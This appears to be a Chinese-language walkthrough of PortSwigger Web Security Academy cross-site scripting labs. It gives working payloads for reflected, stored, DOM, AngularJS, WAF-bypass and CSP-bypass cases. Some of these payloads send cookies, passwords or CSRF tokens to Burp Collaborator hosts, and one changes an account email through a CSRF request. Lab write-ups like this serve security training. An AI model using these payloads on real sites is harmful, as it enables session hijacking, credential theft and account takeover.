https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
XSS
反射(1)
<script>alert(/1/)</script>
|
存储(2)
这里需要先存储xss到数据库接着查看
dom(3)
这里是使用的 dom
这里先进行
可以看到这里多了一段代码
<script> function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); } </script>
|
这里尝试去构造一下
document.write('<img src="/resources/images/tracker.gif?searchTerms='+"><script>alert(/1/)</script>"+'">');
|
SVG用来绘画矢量图 onload 在 SVG 文档被浏览器完全解析之后触发动作。 使用此事件调用一次性初始化功能。
innerHTML(4)
<h1><span>2 search results for '</span><span id="searchMessage"></span><span>'</span></h1> <script> function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query; }
var query = (new URLSearchParams(window.location.search)).get('search'); if (query) { doSearchQuery(query); } </script>
|
这里使用的是 innerHTML 去给serarchMessage 赋值
这里直接插入script 语句发现也没什么问题 但是却没有弹窗 说明innetHTML对我输入的请求又进行了一次 解码
这里尝试先去html编码试试 那么这里解析一次后应该是<script>alert(1)</script>
如果innerHTML是解析后直接显示就应该弹窗,查看处理后的源代码输出是 <script>alert(1)</script>
那么就清楚了innerHTML在javascript处理的时候做过一次HTML解析,然后到了浏览器加载页面时又做了一次HTML编码
这里便换了一种方式执行
<img src=1 onerror=alert(1)>
|
改src属性的值无效并引发错误 会触发 onerror 事件处理程序 然后调用alert函数
jQuery查找锚元素(5)
这里尝试
没反应
<div class="is-linkback"> <a id="backLink">Back</a> </div> <script> $(function () { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); </script>
|
#backLink 选择id 为 backLink 的元素 attr() 用于设置 href属性的值
javascript:alert(document.cookie)
|
尖括号的 HTML 编码(6)
这里进行了 < 的过滤
<script>alert(/1/)</script>
|
可以看到这里的pyload已经失效了
<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">
|
尝试去闭合属性构造payload
href带有双引号 HTML 编码(7)
尝试构造javascript: 伪协议
js代码注入(8)
这里提示我们有js注入
根据颜色来看成功注入了
location.search select DOM XSS(9)
url dom xss
这里可以看到其实也像是注入
<form id="stockCheckForm" action="/product/stock" method="POST"> <input required type="hidden" name="productId" value="1"> <script> var stores = ["London", "Paris", "Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if (store) { document.write('<option selected>' + store + '</option>'); } for (var i = 0; i < stores.length; i++) { if (stores[i] === store) { continue; } document.write('<option>' + stores[i] + '</option>'); } document.write('</select>'); </script> <button type="submit" class="button">Check stock</button> </form>
|
看到注入后的结果
那么这里尝试把标签闭合 接着注入我们的html代码
1</option></select><script>alert(1)</script>
|
AngularJS 表达式中的 DOM XSS(10)
这里告诉我们是 AngularJS 的xss漏洞
简单看一下 写的是当 标签包含 ng-app属性的时候就可执行 AngularJS 的表达式 而这个表达式与一般的模板语言大致类似
这里进来之后发现整个body 都可以执行 angular代码 那么我们这里进行尝试
通过翻看 burp的文章可以发现 这里存在绕过的payload
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
|
{{constructor.constructor('alert(1)')()}}
|
反射 DOM XSS(11)
<script>function search(path) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search); xhr.send();
function displaySearchResults(searchResultsObj) { var blogHeader = document.getElementsByClassName("blog-header")[0]; var blogList = document.getElementsByClassName("blog-list")[0]; var searchTerm = searchResultsObj.searchTerm var searchResults = searchResultsObj.results
var h1 = document.createElement("h1"); h1.innerText = searchResults.length + " search results for '" + searchTerm + "'"; blogHeader.appendChild(h1); var hr = document.createElement("hr"); blogHeader.appendChild(hr)
for (var i = 0; i < searchResults.length; ++i) { var searchResult = searchResults[i]; if (searchResult.id) { var blogLink = document.createElement("a"); blogLink.setAttribute("href", "/post?postId=" + searchResult.id); if (searchResult.headerImage) { var headerImage = document.createElement("img"); headerImage.setAttribute("src", "/image/" + searchResult.headerImage); blogLink.appendChild(headerImage); }
blogList.appendChild(blogLink); }
blogList.innerHTML += "<br/>";
if (searchResult.title) { var title = document.createElement("h2"); title.innerText = searchResult.title; blogList.appendChild(title); }
if (searchResult.summary) { var summary = document.createElement("p"); summary.innerText = searchResult.summary; blogList.appendChild(summary); }
if (searchResult.id) { var viewPostButton = document.createElement("a"); viewPostButton.setAttribute("class", "button is-small"); viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id); viewPostButton.innerText = "View post"; } }
var linkback = document.createElement("div"); linkback.setAttribute("class", "is-linkback"); var backToBlog = document.createElement("a"); backToBlog.setAttribute("href", "/"); backToBlog.innerText = "Back to Blog"; linkback.appendChild(backToBlog); blogList.appendChild(linkback); } } </script>
|
仔细看一下这里其实去发送了一个http请求
var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { eval('var searchResultsObj = ' + this.responseText); displaySearchResults(searchResultsObj); } }; xhr.open("GET", path + window.location.search); xhr.send();
|
这里去尝试闭合一下json请求去执行js代码
{"results":[],"searchTerm":""}-alert(1)//"}
|
但是发现转义了 “
接着尝试
发现成功逃逸
那么这里是怎么执行的呢 我们来尝试调试一下 在eval这里打个断点
可以看到 js代码执行过程
存储型 DOM XSS(12)
<script> function loadComments(postCommentPath) { let xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { let comments = JSON.parse(this.responseText); displayComments(comments); } }; xhr.open("GET", postCommentPath + window.location.search); xhr.send();
function escapeHTML(html) { return html.replace('<', '<').replace('>', '>'); }
function displayComments(comments) { let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i) { comment = comments[i]; let commentSection = document.createElement("section"); commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let avatarImgElement = document.createElement("img"); avatarImgElement.setAttribute("class", "avatar"); avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
if (comment.author) { if (comment.website) { let websiteElement = document.createElement("a"); websiteElement.setAttribute("id", "author"); websiteElement.setAttribute("href", comment.website); firstPElement.appendChild(websiteElement) }
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author) firstPElement.innerHTML = newInnerHtml }
if (comment.date) { let dateObj = new Date(comment.date) let month = '' + (dateObj.getMonth() + 1); let day = '' + dateObj.getDate(); let year = dateObj.getFullYear();
if (month.length < 2) month = '0' + month; if (day.length < 2) day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr firstPElement.innerHTML = newInnerHtml }
firstPElement.appendChild(avatarImgElement);
commentSection.appendChild(firstPElement);
if (comment.body) { let commentBodyPElement = document.createElement("p"); commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement); } commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection); } } };
</script>
|
简单看一下这两段代码就可以发现怎么绕过了
"<>".replace('<', '<').replace('>', '>') "<><>".replace('<', '<').replace('>', '>')
|
看下源码
同样我们对比着js响应去查看下
<><img src=1 onerror=alert(1)>
|
尝试下
利用跨站点脚本窃取 cookie(13)
尝试下
存在xss
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors',
body:document.cookie
}); </script>
|
那么这里的url当然应该是攻击者能够接收信息的url
这里便拿到了cookie
尝试使用cookie登录
利用跨站点脚本捕获密码(14)
存在xss
这里的目的是让我们去获取到用户的姓名和密码
这样尝试下
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://u50cnd2msgfvrahbwsqqe5rdj4pwdl.burpcollaborator.net',{ // 当长度改变就发请求出去 method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
|
成功拿到账号密码
利用 XSS 执行 CSRF(15)
给了个账号密码 wiener:peter 还说有csrf
先看下 xss
测试下csrf
重放这个csrf值试试 发现可以重复使用
尝试下
var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf=bzRUdarVJuLrBhGd9L0WOELcXgBeGvXR&email=123@test.com')
|
可以执行 但是这里的 csrf 值有点局限性我们换一种写法
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/my-account', true); req.send();
function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf=' + token + '&email=test@test.com'); }
</script>
|
XSS绕过waf(16)
这里存在xss但是也有waf过滤了标签
尝试一下基础语法
这里返回的是标签不被允许
尝试标签那个可以执行
只有两个标签可行
尝试属性 这里就复制第一个去尝试
这里重新标记
当调整窗口大小的时候触发
书写payload
<iframe src="https://0aa200d50461d5b9c01b740a00220073.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E" onload=this.style.width='100px'>
|
XSS自定义标签(17)
这里翻了下发现个payload
我们直接查看payload
<xss id=x onfocus=alert(document.cookie) tabindex=1>#x
|
onfocus 代表当 光标聚焦到此标签的时候就会 执行js代码 而后面的 tabindex 表示该元素是可聚焦的 而最后的#x 则是与 id=x 进行配合 id=x 代表改标签的id是x 而#x 则是通过锚点聚焦到该标签上面 这样就能执行js代码了
最终版本
<iframe src="https://0aed001303fc338ac0ba605f00080033.web-security-academy.net/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x">
|
SVG 标记的反射型 XSS(18)
可以看到有几个标签可行
拿过来尝试下属性
拿过来直接试
<svg><animatetransform onbegin=alert(1) attributeName=transform>
|
在规范链接标签中反映 XSS(19)
这里好像是crome的特性
'accesskey='x'onclick='alert(1)
|
XSS 反射到 JavaScript 字符串中,并转义了单引号和反斜杠(20)
测试下 可以看到没有闭合标签 并且标签也没有转义
可以看到转义了’
可以看到转义了 \
</script><script>alert(1)</script>
|
将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义(21)
成功逃逸
使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码和单引号和反斜杠转义(22)
这里尝试单引号闭合
发现字符存在转义 那么这里我们可以进一步尝试一下 由于这个数据是从数据库中取出的 因此使用html编码进行尝试
将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义(23)
var message = `0 search results for '${alert(1)}'`;
|
这里的 `` 其实就是代表可以使用模板语句的意思
这里使用的 js 的模板语句 ${}里边是相当于js代码
事件处理程序和href属性被阻止的反射型 XSS(24)
其中可以看到几个标签
查看这篇文章可以发现大致思路
https://portswigger.net/research/svg-animate-xss-vector
|
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
|
在 JavaScript URL 中反映了 XSS,并阻止了一些字符(25)
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
|
这里看到url中的 值在这里出现了
简单试一下
这里可以看到我们填入的 ‘ 被url编码了 那么你可能再想这里能执行吗
简单尝试下
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26%27-alert%281%29-%27'}) .finally(_ => window.location = '/')">Back to Blog</a>
|
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26'-alert%281%29-''}) .finally(_ => window.location = '/')">Back to Blog</a>
|
两种方式都能弹 这里的原因是由于这段字符执行顺序是 html解码-> url解码 -> javascript解析
/post?postId=1&'-alert(1337)-'
|
可以看到( )没了
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%265&'}, x=x=>{ <!--=> 使用匿名函数 --> throw/**/onerror=alert,1337 //抛出一个异常 弹出1337 } ,toString=x,window+'',{x:''}) //将x转换为字符串 .finally(_ => window.location = '/')">Back to Blog</a>
|
看不太懂
post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
|
AngularJS 沙箱转义而不使用字符串的反射型 XSS(26)
绕沙箱
还是这个文章 看不太懂
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs#top
|
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
|
使用 AngularJS 沙箱转义和 CSP 的反射 XSS(27)
<script> location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x'; </script>
|
这里可以看到是通过 AngularJS 来绕过的csp机制
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
<script> location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x'; </script>
|
CSP 保护的反射型 XSS,带有悬挂标记攻击(28)
悬挂标记攻击
https://portswigger.net/web-security/cross-site-scripting/dangling-markup
|
这里有一个email参数 其中在页面上是有回显的
<form action="/my-account/change-email" class="login-form" method="POST" name="change-email-form"> <label>Email</label> <input name="email" required type="email" value="1232132"> <input name="csrf" required type="hidden" value="rWbiqj3aeSzjosrrn7qdqGzsdrPuNI9F"> <button class='button' type='submit'> Update email</button> </form>
|
可见这里的 value直接插入了 html中 我们尝试闭合一下 刚好这里也没有过滤 “>
/my-account?email=1232132"><a+href%3d"https%3a//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click+me</a><base+target%3d
|
这样一构造就变成了 值了
window.name跨域
https://www.cnblogs.com/Walker-lyl/p/7454522.html
|
js中几种实用的跨域方法原理详解
https://www.cnblogs.com/fliu/articles/5249130.html
|
我们来看下官方的构造方法
<script> if(window.name) { new Image().src='//uzx25ua3zzzar7j0b9mqbfs1csil6a.burpcollaborator.net?'+encodeURIComponent(window.name); } else { location = 'https://0a9200b003b6fd42c0d343d600c200fd.web-security-academy.net/email?email=%22%3E%3Ca%20href=%22https://exploit-0a4e00e903cffd99c04c43e201dd00d4.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; } </script>
|
这里没有明显传递window.name 但是这里用到了 <base target=xxx>
尝试一下发现 使用 <base target=xxx>
指定target跳转(a标签 或者location= ),那么target的值会传给跳转后页面的window.name
也就是这样的流程 首先我们 在我们的攻击者服务器上面托管上述代码 当受害者访问时 由于第一次 window.name 为空 因此直接定位到 有漏洞的网站
接着受害者点击Click me
又会跳转回攻击者的服务器 而这次的跳转正如上面所说的是带有数据的 也就是在 window.name中 因此这时 if语句进入 加载了 image 页面 将数据带入到了 collaborator
拿到数据
成功拿到csrf 的值
Ibsga6CqlfI4i2dVSY14boHMlR2Xasr4
|
修改email处抓包
修改两处值
受 CSP 保护的反射型 XSS,绕过 CSP(29)
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
|
这里有一个 report-uri /csp-report?token= 意思就是把token里的策略发布到对应站点(自定义策略),通过get传值即可,构造payload
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
|
-elem可以管理 script-src的规则,利用这个参数,可以重写规则